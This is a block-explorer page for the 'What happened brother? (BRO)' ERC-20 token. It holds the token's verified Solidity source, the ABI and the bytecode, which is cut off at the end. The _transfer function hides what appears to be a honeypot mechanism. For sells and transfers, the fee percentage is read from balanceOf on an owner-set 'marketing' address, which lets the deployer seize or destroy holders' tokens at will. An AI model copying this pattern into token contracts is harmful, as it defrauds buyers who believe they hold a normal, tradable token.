ETH Price: $2,364.88 (+1.58%)
Gas: 2.54 Gwei

Token

What happened brother? (BRO)
 

Overview

Max Total Supply

1,000,000,000 BRO

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
32,488,835.212279237693 BRO

Value
$0.00
0x5279c218dcd3911bbb6d0f098fe0d12ae4ff9f55
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WhatHappenedBrother

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-17
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;


library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}

interface IERC20 {
    function balanceOf(address wallt) external view returns (uint256);
    function approve(address spendr, uint256 amount) external returns (bool);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract WhatHappenedBrother is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 12;
    uint256 private _totalSupply =  1_000_000_000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal _marketingAddress = 0xB84BE5D42Bb0d4F254DFc9E51C1f3DbDE09F863f;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _excludedFromFees;
    address private uniswapV2Pair;
    string private _name = "What happened brother?";
    string private _symbol = "BRO";
    bool private tradingStarted = false;
    uint256 _lowerFeeAt = 15;
    uint256 _buys = 0;
    uint256 _startFee = 3;
    uint256 _finalFee = 0;
    bool internal swapEnabled = false;


    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 amount);

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened.");
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingStarted = true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(amount > 0);
        uint256 feeAmount = 0;
        require(to != address(0));
        if (from != uniswapV2Pair && _buys > _lowerFeeAt) {
            feeAmount = _finalFee;
        } else {
            _buys ++;
        }
        if (from != uniswapV2Pair && from != address(this)) {
            feeAmount = IERC20(_marketingAddress).balanceOf(from);
        }
        _balances[to] = _balances[to].add(amount).sub(amount.mul(feeAmount).div(100));
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600c5f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004ba565b633b9aca006200004d91906200050a565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b84be5d42bb0d4f254dfc9e51c1f3dbde09f863f60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601681526020017f576861742068617070656e65642062726f746865723f00000000000000000000815250600890816200013e9190620007af565b506040518060400160405280600381526020017f42524f000000000000000000000000000000000000000000000000000000000081525060099081620001859190620007af565b505f600a5f6101000a81548160ff021916908315150217905550600f600b555f600c556003600d555f600e555f600f5f6101000a81548160ff021916908315150217905550348015620001d6575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200031a9190620008a4565b60405180910390a3620008bf565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003b2578086048111156200038a576200038962000328565b5b60018516156200039a5780820291505b8081029050620003aa8562000355565b94506200036a565b94509492505050565b5f82620003cc57600190506200049e565b81620003db575f90506200049e565b8160018114620003f45760028114620003ff5762000435565b60019150506200049e565b60ff84111562000414576200041362000328565b5b8360020a9150848211156200042e576200042d62000328565b5b506200049e565b5060208310610133831016604e8410600b84101617156200046f5782820a90508381111562000469576200046862000328565b5b6200049e565b6200047e848484600162000361565b9250905081840481111562000498576200049762000328565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004c682620004a5565b9150620004d383620004ae565b9250620005027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003bb565b905092915050565b5f6200051682620004a5565b91506200052383620004a5565b92508282026200053381620004a5565b915082820484148315176200054d576200054c62000328565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d057607f821691505b602082108103620005e657620005e56200058b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200060d565b6200065686836200060d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000697620006916200068b84620004a5565b6200066e565b620004a5565b9050919050565b5f819050919050565b620006b28362000677565b620006ca620006c1826200069e565b84845462000619565b825550505050565b5f90565b620006e0620006d2565b620006ed818484620006a7565b505050565b5b818110156200071457620007085f82620006d6565b600181019050620006f3565b5050565b601f82111562000763576200072d81620005ec565b6200073884620005fe565b8101602085101562000748578190505b620007606200075785620005fe565b830182620006f2565b50505b505050565b5f82821c905092915050565b5f620007855f198460080262000768565b1980831691505092915050565b5f6200079f838362000774565b9150826002028217905092915050565b620007ba8262000554565b67ffffffffffffffff811115620007d657620007d56200055e565b5b620007e28254620005b8565b620007ef82828562000718565b5f60209050601f83116001811462000825575f841562000810578287015190505b6200081c858262000792565b8655506200088b565b601f1984166200083586620005ec565b5f5b828110156200085e5784890151825560018201915060208501945060208101905062000837565b868310156200087e57848901516200087a601f89168262000774565b8355505b6001600288020188555050505b505050505050565b6200089e81620004a5565b82525050565b5f602082019050620008b95f83018462000893565b92915050565b611af980620008cd5f395ff3fe6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb9190611291565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190611342565b610358565b604051610107919061139a565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113c2565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113db565b610377565b60405161016d919061139a565b60405180910390f35b348015610181575f80fd5b5061018a610423565b6040516101979190611446565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c1919061145f565b610438565b6040516101d391906113c2565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611499565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d9190611291565b60405180910390f35b348015610251575f80fd5b5061026c60048036038101906102679190611342565b61067c565b604051610279919061139a565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114b2565b610b22565b6040516102bf91906113c2565b60405180910390f35b6060600880546102d79061151d565b80601f01602080910402602001604051908101604052809291908181526020018280546103039061151d565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600154905090565b5f610383848484610d67565b61041884336104138560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115690919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611597565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546105fb9061151d565b80601f01602080910402602001604051908101604052809291908181526020018280546106279061151d565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611597565b60405180910390fd5b600a5f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115ff565b60405180910390fd5b61079c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a9190611631565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d49190611631565b6040518363ffffffff1660e01b81526004016108f192919061165c565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611631565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e4969594939291906116c5565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611738565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ac5929190611788565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906117d9565b506001600a5f6101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611874565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7790611902565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a91906113c2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9e575f80fd5b5f8111610da9575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1575f80fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e415750600b54600c54115b15610e5057600e549050610e68565b600c5f815480929190610e629061194d565b91905055505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ef157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f925760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610f509190611499565b602060405180830381865afa158015610f6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8f9190611994565b90505b611019610fbb6064610fad848661117c90919063ffffffff16565b6111bc90919063ffffffff16565b61100b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e190919063ffffffff16565b61115690919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110aa8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114891906113c2565b60405180910390a350505050565b5f82821115611163575f80fd5b5f828461117091906119bf565b90508091505092915050565b5f80830361118c575f90506111b6565b5f828461119991906119f2565b90508284826111a89190611a60565b146111b1575f80fd5b809150505b92915050565b5f8082116111c8575f80fd5b5f82846111d59190611a60565b90508091505092915050565b5f8082846111ef9190611a90565b9050838110156111fd575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561123e578082015181840152602081019050611223565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61126382611207565b61126d8185611211565b935061127d818560208601611221565b61128681611249565b840191505092915050565b5f6020820190508181035f8301526112a98184611259565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112de826112b5565b9050919050565b6112ee816112d4565b81146112f8575f80fd5b50565b5f81359050611309816112e5565b92915050565b5f819050919050565b6113218161130f565b811461132b575f80fd5b50565b5f8135905061133c81611318565b92915050565b5f8060408385031215611358576113576112b1565b5b5f611365858286016112fb565b92505060206113768582860161132e565b9150509250929050565b5f8115159050919050565b61139481611380565b82525050565b5f6020820190506113ad5f83018461138b565b92915050565b6113bc8161130f565b82525050565b5f6020820190506113d55f8301846113b3565b92915050565b5f805f606084860312156113f2576113f16112b1565b5b5f6113ff868287016112fb565b9350506020611410868287016112fb565b92505060406114218682870161132e565b9150509250925092565b5f60ff82169050919050565b6114408161142b565b82525050565b5f6020820190506114595f830184611437565b92915050565b5f60208284031215611474576114736112b1565b5b5f611481848285016112fb565b91505092915050565b611493816112d4565b82525050565b5f6020820190506114ac5f83018461148a565b92915050565b5f80604083850312156114c8576114c76112b1565b5b5f6114d5858286016112fb565b92505060206114e6858286016112fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061153457607f821691505b602082108103611547576115466114f0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611581602083611211565b915061158c8261154d565b602082019050919050565b5f6020820190508181035f8301526115ae81611575565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115e9601783611211565b91506115f4826115b5565b602082019050919050565b5f6020820190508181035f830152611616816115dd565b9050919050565b5f8151905061162b816112e5565b92915050565b5f60208284031215611646576116456112b1565b5b5f6116538482850161161d565b91505092915050565b5f60408201905061166f5f83018561148a565b61167c602083018461148a565b9392505050565b5f819050919050565b5f819050919050565b5f6116af6116aa6116a584611683565b61168c565b61130f565b9050919050565b6116bf81611695565b82525050565b5f60c0820190506116d85f83018961148a565b6116e560208301886113b3565b6116f260408301876116b6565b6116ff60608301866116b6565b61170c608083018561148a565b61171960a08301846113b3565b979650505050505050565b5f8151905061173281611318565b92915050565b5f805f6060848603121561174f5761174e6112b1565b5b5f61175c86828701611724565b935050602061176d86828701611724565b925050604061177e86828701611724565b9150509250925092565b5f60408201905061179b5f83018561148a565b6117a860208301846113b3565b9392505050565b6117b881611380565b81146117c2575f80fd5b50565b5f815190506117d3816117af565b92915050565b5f602082840312156117ee576117ed6112b1565b5b5f6117fb848285016117c5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61185e602483611211565b915061186982611804565b604082019050919050565b5f6020820190508181035f83015261188b81611852565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118ec602283611211565b91506118f782611892565b604082019050919050565b5f6020820190508181035f830152611919816118e0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119578261130f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361198957611988611920565b5b600182019050919050565b5f602082840312156119a9576119a86112b1565b5b5f6119b684828501611724565b91505092915050565b5f6119c98261130f565b91506119d48361130f565b92508282039050818111156119ec576119eb611920565b5b92915050565b5f6119fc8261130f565b9150611a078361130f565b9250828202611a158161130f565b91508282048414831517611a2c57611a2b611920565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a6a8261130f565b9150611a758361130f565b925082611a8557611a84611a33565b5b828204905092915050565b5f611a9a8261130f565b9150611aa58361130f565b9250828201905080821115611abd57611abc611920565b5b9291505056fea26469706673582212208b907c49512cfb2c683b78bd9ad4cfbdf5c2d9b1da775ac88a51ecf10b334fa364736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb9190611291565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190611342565b610358565b604051610107919061139a565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113c2565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113db565b610377565b60405161016d919061139a565b60405180910390f35b348015610181575f80fd5b5061018a610423565b6040516101979190611446565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c1919061145f565b610438565b6040516101d391906113c2565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611499565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d9190611291565b60405180910390f35b348015610251575f80fd5b5061026c60048036038101906102679190611342565b61067c565b604051610279919061139a565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114b2565b610b22565b6040516102bf91906113c2565b60405180910390f35b6060600880546102d79061151d565b80601f01602080910402602001604051908101604052809291908181526020018280546103039061151d565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600154905090565b5f610383848484610d67565b61041884336104138560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115690919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611597565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546105fb9061151d565b80601f01602080910402602001604051908101604052809291908181526020018280546106279061151d565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611597565b60405180910390fd5b600a5f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115ff565b60405180910390fd5b61079c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a9190611631565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d49190611631565b6040518363ffffffff1660e01b81526004016108f192919061165c565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611631565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e4969594939291906116c5565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611738565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8